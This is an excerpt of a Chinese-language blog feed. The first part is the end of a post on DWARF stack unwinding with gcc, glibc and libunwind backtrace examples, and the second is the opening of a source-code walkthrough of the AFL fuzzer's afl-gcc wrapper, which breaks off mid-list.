			break;
&amp;#x2F;* DW_CFA_offset *&amp;#x2F;
		case 2:
&amp;#x2F;*  计算 rule：offset(N)
				reg num = *(CFA + (factored offset * data_alignment_factor))
*&amp;#x2F;
value = *ptr.p8++ &amp;amp; 0x3f;
set_rule(value, Memory, get_uleb128(&amp;amp;ptr.p8, end), state);
			break;
&amp;#x2F;* DW_CFA_restore *&amp;#x2F;
		case 3:
&amp;#x2F;*  计算 rule：initial_instructions in the CIE
				reg num = initial_instructions in the CIE
*&amp;#x2F;
set_rule(*ptr.p8++ &amp;amp; 0x3f, Nowhere, 0, state);
			break;
		}
if (ptr.p8 &amp;gt; end) {
			dprintk(1, &amp;quot;Data overrun (%p,%p).&amp;quot;, ptr.p8, end);
			result = 0;
		}

&amp;#x2F;* (4.2.6) 读取fde的条目，直到大于PC值的位置 *&amp;#x2F;
if (result &amp;amp;&amp;amp; targetLoc != 0 &amp;amp;&amp;amp; targetLoc &amp;lt; state-&amp;gt;loc)
return 1;
	}

if (result &amp;amp;&amp;amp; ptr.p8 &amp;lt; end)
		dprintk(1, &amp;quot;Data underrun (%p,%p).&amp;quot;, ptr.p8, end);

return result
&amp;amp;&amp;amp; ptr.p8 == end
&amp;amp;&amp;amp; (targetLoc == 0
	           || (&amp;#x2F;*todo While in theory this should apply, gcc in practice omits
	                 everything past the function prolog, and hence the location
	                 never reaches the end of the function.
	               targetLoc &amp;lt; state-&amp;gt;loc &amp;amp;&amp;amp;*&amp;#x2F; state-&amp;gt;label == NULL));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-yong-hu-tai-chang-jian-qu-zhan-fang-fa&quot;&gt;6. 用户态常见取栈方法&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;6-1-gccqu-zhan&quot;&gt;6.1 gcc取栈&lt;&#x2F;h3&gt;
&lt;p&gt;gcc提供了__builtin_return_address() 宏来做栈的回溯：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

void do_backtrace()
{
    void *pc0 = __builtin_return_address(0);
    void *pc1 = __builtin_return_address(1);
&amp;#x2F;&amp;#x2F;void *pc2 = __builtin_return_address(2);
&amp;#x2F;&amp;#x2F;void *pc3 = __builtin_return_address(3);

    printf(&amp;quot;Frame 0: PC=%p\n&amp;quot;, pc0);
    printf(&amp;quot;Frame 1: PC=%p\n&amp;quot;, pc1);
&amp;#x2F;&amp;#x2F;printf(&amp;quot;Frame 2: PC=%p\n&amp;quot;, pc2);
&amp;#x2F;&amp;#x2F;printf(&amp;quot;Frame 3: PC=%p\n&amp;quot;, pc3);
}

int main()
{
    do_backtrace();

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译并运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;&amp;gt; gcc gcc_backtrace.c
&amp;gt; .&amp;#x2F;a.out
Frame 0: PC=0x400590
Frame 1: PC=0x7f4052ab8c36
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-2-glibcqu-zhan&quot;&gt;6.2 glibc取栈&lt;&#x2F;h3&gt;
&lt;p&gt;glibc提供了一对函数backtrace()和backtrace_symbols()来回溯栈信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;execinfo.h&amp;gt;

#define BACKTRACE_SIZ   64
void do_backtrace()
{
    void    *array[BACKTRACE_SIZ];
size_t   size, i;
    char   **strings;

size = backtrace(array, BACKTRACE_SIZ);
    strings = backtrace_symbols(array, size);

for (i = 0; i &amp;lt; size; i++) {
        printf(&amp;quot;%p : %s\n&amp;quot;, array[i], strings[i]);
    }

free(strings);  &amp;#x2F;&amp;#x2F; malloced by backtrace_symbols
}

int  main()
{
    do_backtrace();
return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译并运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;&amp;gt; gcc glibc_backtrace.c
&amp;gt; .&amp;#x2F;a.out
0x400646 : .&amp;#x2F;a.out() [0x400646]
0x4006c0 : .&amp;#x2F;a.out() [0x4006c0]
0x7fd564f97c36 : &amp;#x2F;lib64&amp;#x2F;libc.so.6(__libc_start_main+0xe6) [0x7fd564f97c36]
0x400569 : .&amp;#x2F;a.out() [0x400569]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译时使用&lt;code&gt;-rdynamic&lt;&#x2F;code&gt;把调试信息链接进文件，运行会打印出更详细的符号信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;&amp;gt; gcc -g -rdynamic glibc_backtrace.c
&amp;gt; .&amp;#x2F;a.out
0x4008d6 : .&amp;#x2F;a.out(do_backtrace+0x1c) [0x4008d6]
0x400950 : .&amp;#x2F;a.out(main+0xe) [0x400950]
0x7f9ed1f6bc36 : &amp;#x2F;lib64&amp;#x2F;libc.so.6(__libc_start_main+0xe6) [0x7f9ed1f6bc36]
0x4007f9 : .&amp;#x2F;a.out() [0x4007f9]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;gcc的&lt;code&gt;-g&lt;&#x2F;code&gt;和&lt;code&gt;rdynamic&lt;&#x2F;code&gt;选项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;gcc的&lt;code&gt;-g&lt;&#x2F;code&gt;，应该没有人不知道它是一个调试选项，因此在一般需要进行程序调试的场景下，我们都会加上该选项，并且根据调试工具的不同，还能直接选择更有针对性的说明，比如-ggdb。-g是一个&lt;code&gt;编译选项&lt;&#x2F;code&gt;，即在源代码编译的过程中起作用，让gcc把更多调试信息（也就包括符号信息）收集起来并将存放到最终的可执行文件内。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-rdynamic&lt;&#x2F;code&gt;却是一个&lt;code&gt;连接选项&lt;&#x2F;code&gt;，它将指示连接器把所有符号（而不仅仅只是程序已使用到的外部符号，但不包括静态符号，比如被static修饰的函数）都添加到动态符号表（即.dynsym表）里，以便那些通过dlopen()或backtrace()（这一系列函数使用.dynsym表内符号）这样的函数使用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;6-3-libunwindqu-zhan&quot;&gt;6.3 libunwind取栈&lt;&#x2F;h3&gt;
&lt;p&gt;安装libunwind：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;&amp;#x2F;&amp;#x2F; suse11sp4
sudo zypper install libunwind libunwind-devel

&amp;#x2F;&amp;#x2F; ubuntu18.04
sudo apt-get install libunwind-dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#define UNW_LOCAL_ONLY
#include &amp;lt;libunwind.h&amp;gt;

void do_backtrace()
{
    unw_cursor_t    cursor;
    unw_context_t   context;

    unw_getcontext(&amp;amp;context);
    unw_init_local(&amp;amp;cursor, &amp;amp;context);

    while (unw_step(&amp;amp;cursor) &amp;gt; 0) {
        unw_word_t  offset, pc;
        char        fname[64];

        unw_get_reg(&amp;amp;cursor, UNW_REG_IP, &amp;amp;pc);

        fname[0] = &amp;#x27;\0&amp;#x27;;
        (void) unw_get_proc_name(&amp;amp;cursor, fname, sizeof(fname), &amp;amp;offset);

        printf (&amp;quot;%p : (%s+0x%x) [%p]\n&amp;quot;, pc, fname, offset, pc);
    }
}

int main()
{
    do_backtrace();

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译并运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ gcc -g libunwind_backtrace.c -lunwind
$ .&amp;#x2F;a.out
0x55e6635819cb : (main+0xe) [0x55e6635819cb]
0x7f8f4e88db97 : (__libc_start_main+0xe7) [0x7f8f4e88db97]
0x55e6635817fa : (_start+0x2a) [0x55e6635817fa]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;libunwind提供了更多能力来检查每帧的程序状态。 例如，可以打印保存的寄存器值：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;void do_backtrace2()
{
    unw_cursor_t    cursor;
    unw_context_t   context;

    unw_getcontext(&amp;amp;context);
    unw_init_local(&amp;amp;cursor, &amp;amp;context);
    while (unw_step(&amp;amp;cursor) &amp;gt; 0) {
        unw_word_t  offset;
        unw_word_t  pc, eax, ebx, ecx, edx;
        char        fname[64];

        unw_get_reg(&amp;amp;cursor, UNW_REG_IP,  &amp;amp;pc);
        unw_get_reg(&amp;amp;cursor, UNW_X86_64_RAX, &amp;amp;eax);
        unw_get_reg(&amp;amp;cursor, UNW_X86_64_RDX, &amp;amp;edx);
        unw_get_reg(&amp;amp;cursor, UNW_X86_64_RCX, &amp;amp;ecx);
        unw_get_reg(&amp;amp;cursor, UNW_X86_64_RBX, &amp;amp;ebx);

        fname[0] = &amp;#x27;\0&amp;#x27;;
        unw_get_proc_name(&amp;amp;cursor, fname, sizeof(fname), &amp;amp;offset);
        printf (&amp;quot;%p : (%s+0x%x) [%p]\n&amp;quot;, pc, fname, offset, pc);
        printf(&amp;quot;\tEAX=0x%08x EDX=0x%08x ECX=0x%08x EBX=0x%08x\n&amp;quot;,
                eax, edx, ecx, ebx);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译并运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ gcc libunwind_bt.c  -lunwind
$ .&amp;#x2F;a.out
0x55e24c1f7b50 : (main+0xe) [0x55e24c1f7b50]
        EAX=0xe8a1c4e0 EDX=0x7f6977ca ECX=0x4c1f7b60 EBX=0x00000000
0x7f027f095b97 : (__libc_start_main+0xe7) [0x7f027f095b97]
        EAX=0xe8a1c4e0 EDX=0x7f6977ca ECX=0x4c1f7b60 EBX=0x00000000
0x55e24c1f77fa : (_start+0x2a) [0x55e24c1f77fa]
        EAX=0xe8a1c4e0 EDX=0x7f6977ca ECX=0x4c1f7b60 EBX=0x00000000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;相关资源：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.nongnu.org&#x2F;libunwind&#x2F;index.html&quot;&gt;libunwind project&lt;&#x2F;a&gt;、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ehsan&#x2F;libunwind&quot;&gt;libunwind with Android ARM support&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;can-kao-wen-dang&quot;&gt;参考文档：&lt;&#x2F;h2&gt;
&lt;p&gt;1.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20130111101034&#x2F;http:&#x2F;&#x2F;blog.mozilla.org&#x2F;respindola&#x2F;2011&#x2F;05&#x2F;12&#x2F;cfi-directives&quot;&gt;CFI directives introduce&lt;&#x2F;a&gt;
2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxfoundation.org&#x2F;LSB_5.0.0&#x2F;LSB-Core-generic&#x2F;LSB-Core-generic&#x2F;ehframechpt.html&quot;&gt;.eh_frame section&lt;&#x2F;a&gt;
3.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF Version 4&lt;&#x2F;a&gt;
4.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.airs.com&#x2F;blog&#x2F;archives&#x2F;460&quot;&gt;.eh_frame&lt;&#x2F;a&gt;
5.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;ARM-Unwinding-Tutorial.html#ARM-Unwinding-Tutorial&quot;&gt;ARM-Unwinding-Tutorial&lt;&#x2F;a&gt;
6.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;ARM-Directives.html#arm_005ffnstart&quot;&gt;ARM-Directives&lt;&#x2F;a&gt;
7.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs-2.31&#x2F;as&#x2F;CFI-directives.html&quot;&gt;CFI-directives&lt;&#x2F;a&gt;
8.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;welhzh&#x2F;p&#x2F;4813778.html&quot;&gt;linux c 及 c++打印调用者函数caller function的方法，包括arm c平台&lt;&#x2F;a&gt;
9.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.lenky.info&#x2F;archives&#x2F;2013&#x2F;01&#x2F;2190&quot;&gt;gcc选项-g与-rdynamic的异同&lt;&#x2F;a&gt;
10.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;liao20081228&#x2F;article&#x2F;details&#x2F;79734887&quot;&gt;X86系列CPU标准寄存器&lt;&#x2F;a&gt;
11.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;27339191&quot;&gt;x86-64 下函数调用及栈帧原理&lt;&#x2F;a&gt;
12.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.usenix.org&#x2F;legacy&#x2F;events&#x2F;woot11&#x2F;tech&#x2F;slides&#x2F;oakley.pdf&quot;&gt;Exploiting the Hard-Working DWARF&lt;&#x2F;a&gt;
13.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;felixzhang00.github.io&#x2F;2016&#x2F;12&#x2F;24&#x2F;2016-12-24-ELF%E6%96%87%E4%BB%B6%E8%A3%85%E8%BD%BD%E9%93%BE%E6%8E%A5%E8%BF%87%E7%A8%8B%E5%8F%8Ahook%E5%8E%9F%E7%90%86&#x2F;&quot;&gt;ELF文件装载链接过程及hook原理&lt;&#x2F;a&gt;
14.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;rockrockwu&#x2F;article&#x2F;details&#x2F;81707909&quot;&gt;Linux ELF文件和VMA间的关系&lt;&#x2F;a&gt;
15.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;etherealvisage&#x2F;unread&#x2F;tree&#x2F;master&#x2F;src&quot;&gt;unread&lt;&#x2F;a&gt;
16.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxbase.org&#x2F;LSB_3.0.0&#x2F;LSB-PDA&#x2F;LSB-PDA&#x2F;dwarfext.html&quot;&gt;DWARF Extensions&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>AFL</title>
        <published>2024-02-01T00:00:00+00:00</published>
        <updated>2024-02-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/afl/"/>
        <id>https://vercel.juzhong.asia/obsidian/afl/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/afl/">&lt;h1 id=&quot;afl&quot;&gt;AFL&lt;&#x2F;h1&gt;
&lt;p&gt;本文是AFL系列第四篇，主要介绍AFL的源码分析。&lt;&#x2F;p&gt;
&lt;p&gt;AFL，全称“American Fuzzy Lop”，是由安全研究员Michal Zalewski开发的一款基于覆盖引导（Coverage-guided）的模糊测试工具，它通过记录输入样本的代码覆盖率（代码执行路径的覆盖情况），以此进行反馈，对输入样本进行调整以提高覆盖率，从而提升发现漏洞的可能性。AFL可以针对有源码和无源码的程序进行模糊测试，其设计思想和实现方案在模糊测试领域具有十分重要的意义。&lt;&#x2F;p&gt;
&lt;p&gt;深入分析AFL源码，对理解AFL的设计理念和其中用到的技巧有着巨大的帮助，对于后期进行定制化Fuzzer开发也具有深刻的指导意义。所以，阅读AFL源码是学习AFL必不可少的一个关键步骤。&lt;&#x2F;p&gt;
&lt;p&gt;（注：需要强调的是，本文的主要目的是协助fuzz爱好者阅读AFL的源码，所以需要在了解AFL基本工作流程和原理的前提下进行阅读，本文并不会在原理侧做过多说明。）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;当别人都要快的时候，你要慢下来。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先在宏观上看一下AFL的源码结构：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] AFL 源码目录 treemap（面积≈文件大小）：afl-fuzz.c 独占最大块，其次 afl-tmin.c、afl-analyze.c、afl-as.c、afl-showmap.c、afl-gcc.c 及 alloc-inl.h 等头文件；另有 llvm_mode（afl-clang-f*、afl-llvm-pass、afl-llvm-rt）、qemu_mode、libtokencap、libdislocator、experimental 等子目录，核心逻辑集中在 afl-fuzz.c。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;主要的代码在 &lt;code&gt;afl-fuzz.c&lt;&#x2F;code&gt; 文件中，然后是几个独立模块的实现代码，&lt;code&gt;llvm_mode&lt;&#x2F;code&gt; 和 &lt;code&gt;qemu_mode&lt;&#x2F;code&gt; 的代码量大致相当，所以分析的重点应该还是在AFL的根目录下的几个核心功能的实现上，尤其是 &lt;code&gt;afl-fuzz.c&lt;&#x2F;code&gt;，属于核心中的重点。&lt;&#x2F;p&gt;
&lt;p&gt;各个模块的主要功能和作用的简要说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;插桩模块&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;afl-as.h, afl-as.c, afl-gcc.c&lt;&#x2F;code&gt;：普通插桩模式，针对源码插桩，编译器可以使用gcc， clang；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;llvm_mode&lt;&#x2F;code&gt;：llvm 插桩模式，针对源码插桩，编译器使用clang；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;qemu_mode&lt;&#x2F;code&gt;：qemu 插桩模式，针对二进制文件插桩。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;fuzzer 模块&lt;&#x2F;strong&gt;
&lt;code&gt;afl-fuzz.c&lt;&#x2F;code&gt;：fuzzer 实现的核心代码，AFL 的主体。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;其他辅助模块&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;afl-analyze&lt;&#x2F;code&gt;：对测试用例进行分析，通过分析给定的用例，确定是否可以发现用例中有意义的字段；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-plot&lt;&#x2F;code&gt;：生成测试任务的状态图；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-tmin&lt;&#x2F;code&gt;：对测试用例进行最小化；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-cmin&lt;&#x2F;code&gt;：对语料库进行精简操作；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-showmap&lt;&#x2F;code&gt;：对单个测试用例进行执行路径跟踪；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-whatsup&lt;&#x2F;code&gt;：各并行例程fuzzing结果统计；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;afl-gotcpu&lt;&#x2F;code&gt;：查看当前CPU状态。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;部分头文件说明&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;alloc-inl.h&lt;&#x2F;code&gt;：定义带检测功能的内存分配和释放操作；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;config.h&lt;&#x2F;code&gt;：定义配置信息；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;debug.h&lt;&#x2F;code&gt;：与提示信息相关的宏定义；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;hash.h&lt;&#x2F;code&gt;：哈希函数的实现定义；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;types.h&lt;&#x2F;code&gt;：部分类型及宏的定义。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 是GCC 或 clang 的一个wrapper（封装），常规的使用方法是在调用 &lt;code&gt;.&#x2F;configure&lt;&#x2F;code&gt; 时通过 &lt;code&gt;CC&lt;&#x2F;code&gt; 将路径传递给 &lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 或 &lt;code&gt;afl-clang&lt;&#x2F;code&gt;。（对于 C++ 代码，则使用 &lt;code&gt;CXX&lt;&#x2F;code&gt; 并将其指向 &lt;code&gt;afl-g++&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;afl-clang++&lt;&#x2F;code&gt;。）&lt;code&gt;afl-clang&lt;&#x2F;code&gt;, &lt;code&gt;afl-clang++&lt;&#x2F;code&gt;， &lt;code&gt;afl-g++&lt;&#x2F;code&gt; 均为指向 &lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 的一个符号链接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 的主要作用是实现对于关键节点的代码插桩，属于汇编级，从而记录程序执行路径之类的关键信息，对程序的运行情况进行反馈。&lt;&#x2F;p&gt;
&lt;p&gt;在开始函数代码分析前，首先要明确几个关键变量：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static u8*  as_path;                &#x2F;* Path to the AFL &#x27;as&#x27; wrapper，AFL的as的路径      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8** cc_params;              &#x2F;* Parameters passed to the real CC，CC实际使用的编译器参数 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u32  cc_par_cnt = 1;         &#x2F;* Param count, including argv0 ，参数计数 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8   be_quiet,               &#x2F;* Quiet mode，静默模式      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            clang_mode;             &#x2F;* Invoked as afl-clang*? ，是否使用afl-clang*模式 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# 数据类型说明&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# typedef uint8_t  u8;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# typedef uint16_t u16;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# typedef uint32_t u32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;2-mainhan-shu&quot;&gt;2. main函数&lt;&#x2F;h5&gt;
&lt;p&gt;main 函数全部逻辑如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-gcc-main-logic.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210825105002.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中主要有如下三个函数的调用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find_as(argv[0])&lt;&#x2F;code&gt; ：查找使用的汇编器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;edit_params(argc, argv)&lt;&#x2F;code&gt;：处理传入的编译参数，将确定好的参数放入 &lt;code&gt;cc_params[]&lt;&#x2F;code&gt; 数组&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;execvp(cc_params[0], (cahr**)cc_params)&lt;&#x2F;code&gt; 执行 &lt;code&gt;afl-gcc&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-gcc-cc-params-args.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210825115407.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里添加了部分代码打印出传入的参数 &lt;code&gt;arg[0] - arg[7]&lt;&#x2F;code&gt; ，其中一部分是我们指定的参数，另外一部分是自动添加的编译选项。&lt;&#x2F;p&gt;
&lt;p&gt;函数的核心作用：寻找 &lt;code&gt;afl-as&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数内部大概的流程如下（软件自动生成，控制流程图存在误差，但关键逻辑没有问题）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-as-main-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210825145618.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先检查环境变量 &lt;code&gt;AFL_PATH&lt;&#x2F;code&gt; ，如果存在直接赋值给 &lt;code&gt;afl_path&lt;&#x2F;code&gt; ，然后检查 &lt;code&gt;afl_path&#x2F;as&lt;&#x2F;code&gt; 文件是否可以访问，如果可以，&lt;code&gt;as_path = afl_path&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
